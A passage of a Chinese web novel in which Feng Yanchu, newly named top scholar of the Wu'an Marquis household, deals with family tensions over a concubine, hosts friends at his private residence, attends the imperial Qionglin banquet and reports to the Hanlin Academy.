而陈泽文则是瞥了瞥楼下才经过的进士队伍,故意对唐沐道:“唐沐,你不是说你与封二郎关系甚好,怎么方才不见你去祝贺呢?”
唐沐如何不知道陈泽文话中暗含的意思,但只能笑道:“那么多人,我就是挤进去二郎也看不见,难不成像孙延年那样跳到房顶上,我可没有那等好功夫。”其余人听后均是一笑。
有人便道:“可说呢,他父亲可是安南将军孙知微,方才那样可真够丢人的,难道学来的武功是用来跳屋顶的?”
另一人接话道:“你是没瞅见那家店铺掌柜气的在地上骂,真真好笑。”
陈泽文冷哼一声,“有什么好笑的?人家孙延年已经进了京西武备营,封二郎是今科状元!两人关系甚好,别人家要是有这两人做儿子,只怕都要乐醒。”
他就是看不惯这些人为了巴结唐沐,故意贬损别人,于是紧接着又道:“敢问在座的诸位,谁有人家的本事?我承认我是没有,可我敢认!你们呢?罢了,你们继续待着吧,我走了!”说罢甩袖离开。
其余人见唐沐脸色不好看,连忙劝道:“你也别生气,陈泽文那张嘴你又不是不知道。”
“就是,有时候说出来的话能气死人!他就是因为小时候嘴上说话不好听,那封二郎还与他打了一架。”这是好听的说法,其实很多人都看到是单方面挨揍。
唐沐见众人给台阶,也就赶紧下了,换了一副面孔,“我还不知道他?谁没被损过几句,我若是计较那岂不是小心眼,再说也计较不过来啊。”
“哈哈哈,就是~”
“来,喝一杯!”
气氛又热闹起来,仿佛还和之前一样。
第一百二十九章 她到底想如何
这次的武安侯府的宴席,是在封简宁的强烈要求之下举办的,很盛大。来的人也很多,那些常来的,不常往来的都来了。
封砚初觉得父亲脸上的笑就没放下来过,同时也觉得这一天是他近十几年最高兴的日子。每句话开头必定是,“我家大郎如何如何……”或者是“我家二郎怎样……”,总之一句话,十分得意。
看着父亲的样子,竟让他想起前世,他考上一个不错的大学,爸爸举办谢师宴之时的样子,脸喝的通红,每次说话也是“我儿子……”,当日,就连平时那些嘴脸不好之人的面貌也平和了许多。
等众人散去,封砚初这才发现父亲早已醉了,方才不过是撑着罢了,连忙上前去扶。
结果封简宁反倒拉着两个儿子的手语重心长道:“为父今日高兴,你们看见没,之前那些低头看人的谁不赞我养了两个好儿子!你们就是咱封家的希望。只是你们的路才刚开始,官场复杂凶险,不可就此大意。”
大郎封砚开立即郑重行礼,“儿子谨记父亲教诲。”
封砚初却道:“哎呀,父亲喝醉了!先扶他进去躺下,喝碗醒酒汤歇着。”因为前世,他爸喝醉就这样。
大娘子也是乐了一天,不是她生的又如何,她是侯府大娘子,那些人也只能朝她恭贺,说她养了两个好儿子,这也就是她为何从不与刘姨娘(大郎生母)计较的原因,根本不在一个层面上。
有时候根本不需要她出面,侯爷就先处置了,大郎也觉得刘姨娘行为不妥,更是能不见面就不见面。
事实也确如预料的一般,众人都在高兴,只有刘姨娘提不起劲,明明是她生的儿子,所有人只朝唐大娘子恭喜,而自己都不能出去露个面。
其实她也不是没有试图前去,结果被大娘子院子里的铜雀直接拦住,还说道:“姨娘,那里可都是各府当家大娘子,您还是别再向前走了,没得给世子丢脸。”
刘姨娘气的骂道:“我丢什么脸?那是我生的!”
谁知铜雀被弄的不耐烦了,“那又如何,世子的母亲是大娘子!那里都是正头娘子,没有一个妾室和侧室出身的人。也叫您知道,就是大娘子让奴婢在这守着,说免得有那不开眼的往前头撞去!”
“你怎么说话这般难听?”刘姨娘脸上有些挂不住。
“我说话难听?姨娘也不想想自己是如何做的?你是妾室,这样的场合岂是你能出现的?”铜雀根本不想搭理,谁知对方不依不饶。
就在刘姨娘扬起巴掌的那一刻,又听见铜雀说,“这也是侯爷与世子的意思!”
刘姨娘回去之后,就看到张姨娘(三郎生母)和方姨娘(四郎与二姑娘的生母)都挤在王锦娘那里恭贺,听说大娘子还特意让厨房备了一桌席面。
她听着几人的笑声只觉得刺耳,又觉得对方没骨气。儿子都中了状元,还被唐大娘子拿捏!躺在床上,想起铜雀说的话,只觉得心凉,十月怀胎生下来的儿子,竟与别人一起欺负她。
丫鬟玉兰小心翼翼地进来问道:“姨娘,到了饭点,您想用些什么?奴婢去厨房提。”
刘姨娘火气没处撒,语气很冲,“吃吃吃!吃什么吃!因着我儿子,人家在前头受贺!哪还有什么心思吃饭!”
几个姨娘住的很近,玉兰受了气直接出门去,也不管对方。
王锦娘的丫鬟珠儿见玉兰的样子问道:“你怎么了?”
玉兰眼睛看向刘姨娘的屋子,抱怨道:“到晌午了,我去问姨娘吃什么?结果被骂了一顿!”
随后压低声音,“她也不想想,以前也和咱们是一样的出身,不过命好生了世子,就以为自己可以当世子的母亲了?还说大娘子因为世子中了进士,在前头受贺,你听听这说的什么话?”
王锦娘几个在屋子里头一起吃喝,也用不上她们,就拿了一些菜给她们几个。
张姨娘的丫鬟玉燕笑嘻嘻道:“还是我家姨娘好,事少,三郎君不爱读书她都不生气,对我也宽和。”
王锦娘的丫鬟珠儿叹气道:“我家姨娘倒是性子好,只是她整日无聊,没事就喜欢逮着教我写字读书,还要考教,偏生我又不爱读书。”
“有这好事还不认真学,你可真没福气。自从我跟在我家姨娘身边,这针线功夫可是长进不少。”方姨娘的丫鬟萍儿说话间,给玉兰拿了一副碗筷,“你就与我们一起用些。”
大郎得知今日要不是有铜雀拦着,姨娘就闯到前头的时候,心中除了愤懑之外,还有些郁气,“她到底想如何?有我在,自然保她此生衣食无忧,妻妾身份分明,无可更改,难道想让我在众人面前,认她做母亲不成!”
霁红捧着一碗醒酒汤放到跟前,并未回复,只说道:“世子,您今日饮了不少酒,喝些醒酒汤睡吧。”
大郎接过碗一饮而尽,洗漱后躺在床上思绪乱飞。其实在他内心深处是有些羡慕二郎的,有一个知书达礼的姨娘,不像他姨娘那般不知分寸,这让他难免心生对比,就连三郎和四郎的姨娘也比他的强。
次日,酒醒之后的封简宁听闻后,为了不让刘氏影响大郎,也为了大郎的前程,刘姨娘再次喜提禁足。
若说上次大郎有些心软,还说了一些求情的话,这次是一句都没开口,让封简宁了解到长子也有些烦了。
第一百三十章 处事还真小心谨慎
清晨,封砚初才起来没多久,雪香就将刘姨娘被禁足的事情说了。
“她约莫觉得自己是大哥的生母,如今大哥不仅是世子还中了进士,有些飘了。”其实他对大哥的毅力十分佩服,小时候偶尔受其挑唆,言语有些不妥,可后来竟自己改了。
若是旁的孩子,自幼就在这种环境之下长大,性格难免会长歪,可大哥如今也长成了翩翩君子的模样。
若说他以前或许不理解为何但凡大家族,极其重视嫡庶尊卑,其实这不仅是枷锁,亦是对规矩制度的维护,对家族繁衍的守护。
就拿大娘子来说,她出身唐家,自幼就受诗书礼仪的教导,无论在谁家都是一个合格的当家主母。
反观刘姨娘,之前不过是卖身侯府的奴婢,她所见到的也只是主子让她见的,从小做的都是伺候人的活计,无论眼界还是学识拍马不及。之前或许还有几分小心谨慎的优点,如今破坏的干干净净。
若当真被她闯到前头亮相,那丢人的不仅仅是大娘子,还有大哥,父亲,武安侯府,以及整个封氏一族!今日闯到前头,明日就会变成整个京城的谈资与笑柄。
就在封砚初以为大哥怎么着,也要自己待两日安静安静,毕竟确实丢人,没想到快到晌午时竟来了。
封砚开才进门就致歉,“我都有些羞于上门了,若我姨娘昨日闯到前头,连你也要拖累。”
“大哥,说这话做什么?咱们兄弟之间没这些,再说做弟弟的又怎会不了解你呢?”封砚初为了缓和气氛,亲自为大哥斟茶。
“多谢,父亲已经下了禁足令,今后都不会出来了。也好,免得我整日为难。”封砚开何尝不是松了一口气。
这个话题本就尴尬,大郎能亲自来致歉,已经是做了好一番心里准备,否则也不会快到晌午才来。
封砚初直接转换了话题,“四弟童生试的大榜过几日也就要出来了,前两天让他将策论内容默了出来,我拿给你瞧瞧。”说罢转身去了书房,将那篇策论找了出来。
大郎接过去细细看了一遍,“比他以前倒是有些长进,如此的话,四弟此次童生试只在许与不许之间了。”
封砚初又将堂哥封砚明的策论递过去,“这里还有一篇,你瞧瞧。”
大郎看后点头道:“这篇倒是不错,童生试应该是稳了,我瞧这字仿佛是明弟的?”
“这就是堂兄的,可见二叔这几年的辛劳有所得。”封砚初说到这里话音一转,语气中暗含无奈:“只是父亲对四弟多有疏忽,我见他这两日在房中苦读,就连昨日都没出来,这定力倒是不错,若此次中了,那他下个月就要参加院试的,我也去瞧了,只是他的胆子竟是那般小,以前知道的东西,一紧张竟然忘的磕磕绊绊。”
大郎笑道:“距离赐官还有很长时间,这一阵我多看着些。学塾甲等班的王夫子学识倒是渊博,可却有个毛病,只看中有天资之人,对四弟也寻常的紧。”
“可说呢,王夫子的才学确实让人钦佩,只这一点不好。之前四弟好容易鼓足勇气向父亲说,却被父亲骂了一顿,说他自己不用功,竟敢说起先生的不是。”封砚初也无奈,父亲的不重视。
而王夫子一向信奉的是,有天资之人加上努力还有望科举仕途;那些资质普通的,就是再怎么学,科举仕途也是一望到头。
对于父亲的态度,大郎还是明白几分的,最看重的只有自己和二郎,自己本身居长,学业上也刻苦;而看中二郎,是仅因其天资聪颖。
“一会儿,我就派人去说,让他先暂时不用去学塾,有我看着也能好些。”
“我又不吃人,本来也想趁着机会教一教,可他那样只能作罢。”封砚初是很佩服自己大哥的,自他科考以来,那可是顺风顺水一举通过,不像自己还在院试之时绊了脚。
大郎轻轻摇头,对四弟的行为也无可奈何,天生胆子小没办法,只是又想到三弟,这才说道:“难道你没发现三郎在你跟前收敛了许多吗?”
封砚初喝茶的动作顿了顿,带着疑惑反问,“有吗?”
“自然有。”
“对了,大哥,这两日我要暂时住在广林巷那边,父亲忙于朝政,家里还需你照看,若有紧急之事派人通知我。”封砚初说这话,并非无缘无故,他结交的一些朋友,因为父亲的政治立场不能上门,去了‘枕松闲居’正好接待。
还有谢鹤川的事情,此人竟想借着他,上门拜访父亲。这人虽一贯钻营,可其他方面倒还不错,所以第一次接待他会放在‘枕松闲居’,若之后还执意想拜见父亲,他不会阻止。
大郎立即意识到,点头承诺:“你放心。”
俩人又闲聊了一会儿,用了午饭之后,这才散去。
另一边,江行舟与谢鹤川二人已经收到了封砚初下的帖子。
江行舟倒是没什么,他打算参加完‘琼林宴’之后回乡呢,所以正在计算时间够不够。
反观谢鹤川拿着帖子看了半晌,这才回过神来,可眉眼间的失望之色显而易见。不过他又迅速在心里思索着,如何能借着封砚初攀上孙延年的关系。
这些日以来,他愈发觉得在京城之中人脉的重要性,偏偏他家里在地方上还有两分脸面,在这京城中帮不上半点忙,他好不容易有了今日,自然要想方设法在京城中扎根。
随后只能轻叹一声,“唉,这封二郎不愧是勋贵人家出身,处事还真小心谨慎。”
第一百三十一章 这也是我的意思
封砚初才搬去‘枕松闲居’暂住,孙延年也要收拾东西去广林巷。
还特意给孙知微说了一声,“父亲,最近我就不回来住了,给你说一声。”
孙知微气的骂道:“你干脆和封砚初穿一条裤子得了!人家才搬去,你就要跟着!”
孙延年无奈道:“哎呀,我这不是听您的话不上武安侯府的门,但我和二郎自幼一起玩,一起闯祸,上次见还是他归第那天。”
孙延年的母亲见状劝道:“罢了,随他去吧,我瞧着封二郎是个好孩子,你没瞧他练武刻苦不少?”
话说封砚初也是自从搬回去参加春闱之后第一次来,这里只能说大变样了,隔壁的院子果然被买下来了,而且修缮已经完成。
这一段时间他都要住在这里,顺势给冯四放了几天假,让他回去陪孩子。
大郎封砚开里里外外转了一遍,然后点头道:“嗯,确实不错,此处十分清幽,怪不得你喜欢住在这儿。”
三郎封砚池看到一棵树都要感慨好半天,最后自己相中一间屋子,“二哥,我瞧这间就很好,里头一应都是全的,就留给我一间吧!”
还未等封砚初说话,大郎帮忙拒绝了,“想都不要想,你每日必须回家!若敢在外头留宿,仔细我告诉父亲打断你的腿!”
“凭什么呀?二哥不光可以在外头留宿,他都自己置宅子了,也不见你们说什么,大娘子甚至还帮忙添进去一些。”三郎很不情愿,他觉得被区别对待了。
这句话,封砚初直接帮他回答了,“若你像我这般考中进士,不,考中举人也可以!再说你以为我这宅子怎么来的,那是我这么多年攒钱买的!你的钱呢?”
二妹封砚婉直接笑道:“三哥的钱啊,只怕还不够他自己花呢?我记得前几年为了筹钱,向你卖话本子,还美其名曰,二哥你本来就爱看。”
三郎有些破防,“谁说二哥不爱看话本子,有一年我发现他在看《搜神记》,可没有一个人相信我!到现在你们还是不相信!”
三妹封砚潼劝道:“三哥,并非我们不信你,若二哥真的沉迷话本,又怎能考中进士的?而且还是状元郎?”
封砚初清了清嗓子,他觉得三郎背了这么多年的黑锅也是不容易,直接说道:“三郎说的是真的!”
二妹却道:“二哥你不用为他说话,三哥也真是的。”
“不,当年我确实在看闲书,然后被三郎发现了,紧接着他想将话本子卖给我,这件事被大娘子知道后,三郎还训了一通,因为没人相信他。”封砚初说这段话的时候,其余人皆是不相信的样子。
只有大郎反问,“你说的是真的?”
“自然是真的,我一直都在说是我看的闲书,只是你们不仅不相信,还觉得我是在为三郎遮掩。”封砚初说这段的时候,还拍了拍三郎的肩膀。
三郎脸上的表情有些许倔犟,声音虽比之前响亮了几分,但却透着委屈,“我就说我没撒谎,说的都是真的!只是你们没一个人相信!”
二妹惊叹道:“二哥你说的居然是真的?我一直以为三哥为了要钱骗人的。”
封砚初看向三郎说道:“这就是我曾经给你说过的话,你还记得吗?”
三郎点头道:“记得,在别人的印象中你虽然调皮,可读书一直很认真;我一直不喜读书,每月为了几两银币想了好多办法,即使我说的是真话也没人相信,而你说假话别人都会当真,因为每人给外人的印象都不同。”
“对,这就是固有印象。”今日三郎多年的冤屈终于洗白,封砚初心情很不错。
大郎却抓住一个点,质问道:“二郎,那就是说,你第一次没能中秀才,是被外物所影响?之前父亲一直怀疑你有事瞒着他这才导致没能通过院试,果然是真的?”
“大哥又怎知我只瞒了这一件事呢?”封砚初并未回答,反而笑吟吟道。
大郎的手指在空中点了几下,终究还是收回去了,“罢了,反正你已经中了进士,之前的事情不重要了。”
就在这时,雪香上前道:“郎君,快到午时了,厨房那边已经在准备饭菜,奴婢也在屋里沏好茶。”
“嗯,那大家先进去吧!”
而二妹封砚婉的注意力却被别的地方吸引了,她指着空地上的箭靶兴奋道:“二哥,你在这里设置了箭靶,我可以玩一会吗?”
三妹却指着阁楼道:“这里距离梅林很近,冬日赏雪煮茶必定很美,二哥我想上去瞧瞧。”
封砚初挥手道:“去吧,都去吧!”
“谢二哥!”
兄弟三人进了房间,这里的变动倒不大。
三郎捧起茶杯临窗而坐,看着外头的景色叹道:“二哥,你这里可真好,可惜大哥不允许我外宿。”
其实大郎不允许三郎外宿在封砚初这里也是有原因的。除了三郎本人并不是个安分之人以外,更重要的是此处还是二郎的待客之处,许多在侯府不方便的事情都要在此处理,他并不想三郎意外牵扯其中。
若是三郎被人利用,以此掣肘二郎,这样的事情他可不想看到。于是警告道:“收起你那不该有的心思!”
三郎见大哥十分认真,就连二哥也当做没看见,便知道没戏,再次试探失败。
“好,我知道了。”
大郎继续道:“我给父亲说了,以后你继续在学塾里读书。”
三郎原本以为四弟被留在家里读书,那他自然也不用去了,没想到大哥的话犹如晴天霹雳,“什么?四弟都不去了,我还要继续读书?再说我都多大了?”
封砚初目光瞥向对方,浅饮一口茶,淡淡道:“这也是我的意思!若是让我知道你阳奉阴违,你晓得的。”
“是,二哥,我知道了。”明明二哥的声音很平淡,甚至还有些轻描淡写的味道,可落在三郎的耳中,不知为何莫名有些惧怕。
封砚初看着屋外玩的正开心的二妹,一时之间竟觉得岁月静好,只是想要维持这景象,必须费很大的力气。
第一百三十二章 搬来此处招待他们
临走时,三郎十分不舍,他几乎是被大郎拽走的。
就在封砚初以为自己终于可以安静一会儿的时候,孙延年乐呵呵的来了。
“二郎,二郎!”
郑伟赶紧上前一边将人往里应,一边堆笑着,“孙郎君,小的带您进去。”
孙延年摆手拒绝,“用不着,我对这里熟的很,你去忙你的,我自己进去找他。”
封砚初听见孙延年的声音后,只能起身前去相迎,“我在屋里都听见你的声音了。”
孙延年并没回复,反而四处转着,然后点头道:“嗯,不错,你这院子比之前强多了,我瞧着和隔壁打通了。”
封砚初一边陪同孙延年转着,一边介绍着,“嗯,母亲上次来看过之后便好一通嫌弃,然后将隔壁那五间买下来,又修缮布置了一通,我今日也是第一次见呢。”
“以前虽然也不错,只是总觉得少了些什么,如今这样就很好。”孙延年随意走近一间,发现是特意单独设立的书房,“你这是将家里的书都搬来了?”
封砚初摇头道:“我将自己常用的书搬来了,这里头大多是我外祖父留下来的,如今全给了我。”
孙延年拿书的动作先是慢了几分,随后立即反应过来,这说的肯定不是唐大人,而是二郎的亲外祖。他之前虽未刻意打听,但也听说对方是个读书人,只是身体不好早逝。
“哟呵,这书我家都没有!”他也震惊到了,随后又看了几本,可以说涉及各方面,“可真够全的,虽说比不上那些世家大族,但也了不得。”
封砚初笑了笑没说话,若非如此,姨娘怎么可能以贵妾的身份入府。大娘子也是多有照顾,固然有自己的原因,还有姨娘自己本身的实力。要知道张姨娘与方姨娘两人是良妾,刘姨娘是婢妾。
“好了,你这看也看了,咱就别在这里待了,去年我的丫鬟还特意收了些梅花上的雪,正好让雪香沏来,我自己都舍不得喝呢。”
因为碧芳已经成婚,基本上留在侯府照应,所以上次便让院子里的一个三等丫鬟跟来侍奉。他去年隆冬在此读书之时,雪香与那个叫灵雀的小丫鬟收集的。
孙延年听后果然十分感兴趣,拉着他就往外走,“没想到我竟有这样的口福,前几年我母亲也攒了一小翁,全被我拿去喝了,气的她之后再也不收集了。”
封砚初听见这话看向对方的目光中带着怀疑。孙延年发现后气道:“哎呀,我自然不会抢你的,只是多请我几次。”
“希望如此。”
当孙延年端起茶杯轻饮一口,点头赞叹,“嗯~清冽中带着淡淡的梅香,果然不错!”
他又放下茶杯说道:“自从你说要搬来这里,我也顺势跟来了,看我对你好吧!”
封砚初轻笑道:“那孙大郎君想要我怎么谢你?”
谁知对方摆手道:“也不用太麻烦,将你这分我一点就成。”
“想都不要想!”
“你太吝啬了!咱们可是好兄弟,你竟然不舍得?大不了我今冬也收集一些,到时候分你些。”孙延年临走之时,到底带走了小半瓮。
封砚初直摇头道:“后悔啊,早知就不应该让他喝。”
等人离开后,他就进了药房,制了几瓶药交给暮山,“送去柳秸坊。”暮山未说一句话,接过药瓶直接离开。
又过了两日,江行舟与谢鹤川应邀而来。
两人均看着此处的宅子,心里不觉有些艳羡。到底是侯府公子,这样的宅院说买就买,里面的布置更是不俗,这里里外外下来,不知要花费多少银钱。
封砚初嘴角含笑,“原本早就应该邀请你们的,只是近日有事耽搁了,这才直至今日宴请二位。”
江行舟哈哈笑道:“何必说这样的话,我倒是想请你,可连个落脚的地都没有,只能过段时间再请你,若是你的帖子再晚来几日,恐怕我已经在回乡的路上了。”
谢鹤川听后道:“富贵不归故乡,如锦衣夜行啊!江兄确实应该回去。”
一向有些不羁的江行舟竟不好意思起来,“在下并无夸耀之心,只是中了进士,自然要回去拜见父母。”
谢鹤川也点头道:“是啊,咱们能有今日,家里付出不少。我倒是想回去,只是最近刚看了一处宅子,还在收拾呢,也只能送信回去。”
京中花费不少,他自己是没钱买宅子的,银钱还是他考中贡士之后,家里托人送来的。他在广林巷买不起,也无力购置‘枕松闲居’这样大的宅院,所以只能在稍偏一些的地方买一个小点的。
谢鹤川还是问出了他最想知道的,“对了,二郎,你在侯府住的好好的,怎么搬到此处?总不能是与兄长不睦,我之前瞧你们兄弟感情甚好啊。”
封砚初心想果然问了,“自然不是,我在京中有一些好友,他们不方便上我家的门,这才搬来此处招待他们。”
谢鹤川若有所思的点头,“哦~这样啊。”
江行舟却明白几分,觉得估计是涉及到朝政上的事,他现在不过是个未封官的小小进士,没人会注意到他,所以还是安安分分做好自己就成。
一番宴饮过后,封砚初的目的也已经达到,并未多留两人。
谢鹤川虽并未当场表明,但他在饭桌上已经暗示过了,如果对方想见父亲,自己是可以帮忙引见的。
第一百三十三章 知道有你这么个人
接下来,封砚初又在此处招待了一些朋友,随后就到了琼林宴之际。
本朝的琼林宴是陛下命礼部举办,通常情况下会将宴会设置在礼部。不知是不是因为今年‘倒春寒’一案礼部牵涉其中,此届的琼林宴在皇家的瑶圃园举办。
皇家园林,守卫森严。诸位进士穿的正是之前礼部发的礼服一一进入。
这是封砚初第一次踏足皇家园林。此处建筑都是依山而建,楼阁之间,飞檐翘角,一步一景,引人入胜。山石之间,清泉潺潺,流水冲击石头发出的声音,与远处的演乐之声汇聚一处,竟是那样的悦耳动听。此处,匠人精湛的工艺与自然的馈赠,巧妙的融合在一起。
琼林宴乃是陛下恩赐之宴,仪式隆重,场面宏大。以往陛下不一定会出现,而这次确是亲临。
众人一起行礼,“臣等参见陛下!”
陛下高坐于上,抬手道:“免礼!”底下立即有太监传声。
宣读了赐宴圣旨,又为一甲前三人赐酒、簪花。然后开始宴饮,虽是御宴,但食物本身并非重点,更多的是一种荣耀的象征。
因封砚初是头名状元,便由他代表全体进士向陛下和主考官敬酒,又致上答谢词。而这不仅仅是礼仪,更是他口才与风范的展示。
之后,陛下出了题,让诸位进士即兴作诗,展示才华。而这自然是封砚初与其他几个名列前茅的进士率先作诗。赋诗唱和过后,又有宫廷乐师和舞姬,奏乐、跳舞助兴。
陛下在众人皆不得自由,通常在这个时候离开。而进士们则借此机会,或结识同年,或拜见前辈。
在场的很多官员封砚初不仅曾经在自家见过,在别人家里也见过。比如首辅申大人,国子监祭酒方才恩,刑部尚书安大人,主考官高崎,以及信国公徐大人!
封砚初自然也一样,他先是拜见了主考官,“封砚初拜见高大人。”
高崎乐呵呵道:“哦,是武安侯府的封二郎吧?”
“正是,小子何德何能竟让大人记住名字。”
信国公徐大人接话,暗含深意道:“封二郎谦虚了,依你素日所行,老夫对你也是印象深刻啊!”
国子监祭酒方才恩最喜欢那些读书好的人,所以即使封家与方家并无直接的姻亲关系,但不妨碍他欣赏这个年轻人,“呵呵呵,封家有如此优秀的两个晚辈,我亦羡慕的紧呐。”
高崎仿佛没听见他们话中暗含的意思,“我记得你当年可是调皮的紧呐,就连你祖父也十分头疼。如今考中状元,就要为陛下尽忠,为朝廷分忧,为百姓做事。”
“小子必定谨记大人教诲。”封砚初听出高大人对他的提点,郑重致谢。
离开高大人这里,他又去给申大人敬酒。因为他从六皇子那里得知,原本其余人要将他打落十名之外,是申大人将他的策论单独拿出来交给陛下的,虽然对方未说,自己也只能当做不知道。
其实也有其他进士试图上前攀上几句,可人家根本没搭理,封砚初也是怀着被拒绝的心情去的,没想到对方竟然与他说了几句话。
“封砚初拜见申大人。”
原本眼睛微闭的申大人睁开双眼,看向眼前之人,过了一小会儿,像是才反应过来一般,“哦,是今科的状元啊!是个不错的年轻人,今后还是要秉持初心为大晟做事。”说完又闭上了眼睛。
封砚初只能回了句,“晚辈谨记于心。”随后告退,之后又拜见了几名官员,便与其他同科闲聊。
此次琼林宴,他与大郎是分开行动的,让外人觉得两人虽是兄弟,可关系寻常。
大郎毕竟是武安侯府世子,在一众勋贵人家算是有出息,知上进的正面案例,所以拜见了几个官员之后,还是有不少进士卖他面子的。
谢鹤川从来都见人三分笑,他竟与很多人都认识,就像花蝴蝶一般到处交际。
反观江行舟情况就没那么好,虽然也在交际,可明显人数少了很多,或许众人都觉得他家境寻常,在官场中人脉和金钱缺一不可,他恰恰都没有。
琼林宴结束,回去的路上。
大郎虽然自己在交际,实则一直在关注着封砚初,“我瞧见申大人与你说话了?”
“是,就说让我今后能够秉持初心为大晟做事。”封砚初并未瞒着,只是他没有告诉大哥知道殿试排名的事情。
“难道是因为陛下点你为状元?那也不对啊,贺辞镜乃是榜眼,而且出身不差,当时前去拜见,申大人并未理会。”大郎想了又想,似乎忆起什么,“难道是因为你殿试的那篇策论?看来是了,朝中百官一起期盼不打仗,可来日西戎犯边,官员怯战不是好事,看来陛下是想改一改朝中现状!”
封砚初也是愁闷不已,“这谈何容易,五皇子在文官中的势力不容小觑,大皇子一派倒是有些不怯战的,可品行能力参差不齐,一旦开战局势不妙啊。”
大郎笑着拍了拍弟弟的肩膀,“你现在没有被授官,还是等有了官身之后再说,现在长吁短叹,岂不是杞人忧天?”
封砚初也笑道:“是啊,我最近也真是的,还是心不静。”
“对嘛,起码你现在可以了解到,陛下知道有你这么个人,这比什么都强!”
第一百三十四章 依旧住在那里
琼林宴结束之后,一甲的三人很快便被授了官。
封砚初被授予,翰林院修撰,从六品;榜眼贺辞镜与探花赵怀旭被授,翰林院编修,正七品。
而其余二甲和三甲还需通过‘朝考’的选拔考试,才能最终确定官职。此次考试并非为了排名,而是为了‘授官’!这时候个人关系就很重要。
最好的是入选翰林院,其次是入六部学习,次一等下放地方为知县,最差的是在地方为教职。
而朝考之后会由吏部综合评定。因为封砚初的父亲在吏部,便有人想走他与大郎这边的关系。
其中谢鹤川就带着东西上门。
“虽然我并未明说,但以你的聪慧应该明白。”封砚初看着对方的眼睛认真道:“你决定好了吗?”
“人各有命,可我偏偏考中进士,若被下放地方为县令,恐怕这辈子升迁无望,这叫我如何甘心。”谢鹤川拱手郑重道:“我已经决定了!”
“既如此,我便帮你引荐,只是我不会干涉,具体成与不成全看你的本事!”封砚初也亮出他的要求。
“这是自然。”即使最后不成,谢鹤川也不会怪对方,毕竟这见面的机会不是谁都有的,好些人连这见面的门槛都找不到。
次日,封砚初就带着谢鹤川见了父亲。将人带进去之后就离开了,里面如何与他无关。
他不知道谢鹤川在里头说了什么,只是不到一刻钟对方就出来了,手上的东西不见了。
“二郎,多谢你,那我就不打扰了。”是的,整个过程很快,谢鹤川前前后后,连半个时辰都没用得了就离开了。
“二郎,进来吧!”
封砚初听见父亲叫,进去之后便瞥见谢鹤川带来的东西,被放在桌案之上,丝毫未动。
“父亲。”
“这些日子,求到我跟前的人不少,我一个都没见,除了此人!”封简宁这句话看似在陈述,实则是在问儿子。
“谢鹤川这人出身寻常,他家若是在地方可能还有几分能力,可在京城根本帮不上他,他喜欢钻营攀附,对人都是几分笑脸,也有热忱之心,不会因为这人一时的不如意而拜高踩低,相反,还会适时的帮一把。”封砚初将谢鹤川此人说了一遍,他并不是随意将一个人介绍给父亲的。
“其实儿子最看重他的恰恰是最后一点。唐家与咱家还是姻亲呢,可祖父才没,唐大人就远远的躲了。父亲,共富贵固然好,可难就难在患难之时。”
封简宁点头道:“是啊,共富贵易,共患难难!尤其在京城,当你患难时,多的是人想趁机踩一脚,好让你永无翻身之时!”
“所以,我觉得以后此人也许可用!”封砚初一直担心九皇子夺嫡失败,或者被信国公当做炮灰。
封简宁点了点头,他对儿子看人的眼光还是很相信的,“朝考之后,其余进士任职还得两个多月,你是状元,是要直接去翰林院任职。”就在空气几乎快要凝固之际,他开口问道:“你可要回来住?”
封砚初摇头道:“广林巷距离翰林院并不是太远,儿子依旧住在那里。”
封简宁话到嘴边化成一个无声的叹息,他心中十分酸涩,这是他对两个儿子的安排,也是次子自己的选择,虽说住在一起也无妨,可还是要让外人看见武安侯府不同的选择。
封砚初见父亲情绪低落,故意笑道:“父亲,儿子又不是不回来,只是暂时住在那边罢了,难不成您不想儿子回来,心里是要赶儿子走的?”
封简宁果然被逗笑了,骂道:“胡说什么呢?”毕竟儿子在外,今后是在一个陌生的战场上,难免担心,又叮嘱着,“若是有什么需要为父帮忙的,随时说!”
“当然。”
封简宁摆手道:“去吧,去见见你祖母,这几日你一直忙着,她有些想你了。”
“儿子告退。”封砚初行礼告辞后,直接去了老太太的住处。
只是没想到去的时候,大娘子和婶娘温氏也在,几人正在商议着为大郎相看的事情,他站在门外进也不是,退也不是。
“谁在外头,还不进来?”
竹溪进来笑着回禀,“回老太太的话,是二郎君在外头呢?”
温氏调侃道:“八成是听见咱们在说大郎的亲事,不好意思进来呢!”
“快让他进来吧!以前那样大胆调皮,如今胆子竟变小了?”老太太心情很好,让竹溪赶紧将人带进来。
“给祖母问安,给母亲,婶娘问安。”封砚初进去行礼。
温氏不知实情,特意拿成亲说事,“二郎啊,你这在门口等半天不进来,莫不是听见我们商议你大哥的亲事,你也着急想要娶亲了?”
就在封砚初准备开口之际,老太太一边招手让他过来,一边看似在阐述实情,“大郎毕竟是世子,又居长,当然要先紧着来;二郎还小,再说他刚授官,是学习朝政的关键时刻,自然不能被打扰。”
大娘子也说道:“是啊,前几日还有人向我打听二郎呢,全被我回绝了,哪有哥哥还未相看娶亲,弟弟却排在前头的道理。”
明明大郎和二郎只相差一岁,而且不久都要入朝为官学习。再说武安侯府虽然没落了,可又不是连着娶不起。
温氏虽不明白老太太与大娘子为何这么说,但她清楚必定有原因,于是连忙迎合着,“可不是,母亲和大嫂嫂要是不说,我这个榆木脑袋还想不明白呢?”
老太太与封砚初说了一会儿话,然后对大娘子道:“二郎眼见着要去衙门了,你这个做母亲的难免要为他准备准备,今日就先到这儿,你与二郎回去吧。”
第一百三十五章 等着看我笑话
转眼到了上职之日,封砚初穿着绿色的官袍前去翰林院点卯。
毕竟是第一日,他要先去见过翰林院学士周大人。
封砚初刚进门就看见一个五十多岁,身着绯红官袍之人正在写着什么。
“下官封砚初拜见周大人。”他见了礼之后,对方并未出声,而是继续手上的动作。
过了好一会儿,并未叫起,只停笔明知故问道:“你就是今科状元?”
封砚初保持原有的动作,言语简洁,“是。”
直到这会儿,那周大人才将目光落到他身上,“我翰林院一向清净,比不上侯府富贵,你是状元不假,可我见过的状元也不少!有的状元平步青云,有的如今身上还挂着六品的闲职混日子,还有的被下放到地方,恐怕这辈子都回不了京!状元又如何?进了官场那是连一点水花也溅不起来!”
封砚初虽不清楚对方为何第一次见面,就给自己一个下马威,不过依旧拘着礼道:“大人所言,下官谨记于心。”
周大人似乎说够了,挥手道:“好了,我还忙着,下去吧!”
“下官告退。”
刚出门就碰见往里走的贺辞镜,两人相互微微点头示意。不知为何,封砚初下意识的在门口略作停留,里头的周大人全然换了一副嘴脸。不仅早早让起了身,语气更是和煦,仿佛真的是与晚辈说话。
封砚初只略驻足就离开了,就在他正要朝别人问路之时,一个三十多岁,同样穿着绿色官袍的人上前道:“敢问可是封修撰?”
封砚初拱手问道:“正是下官,敢问您是?”
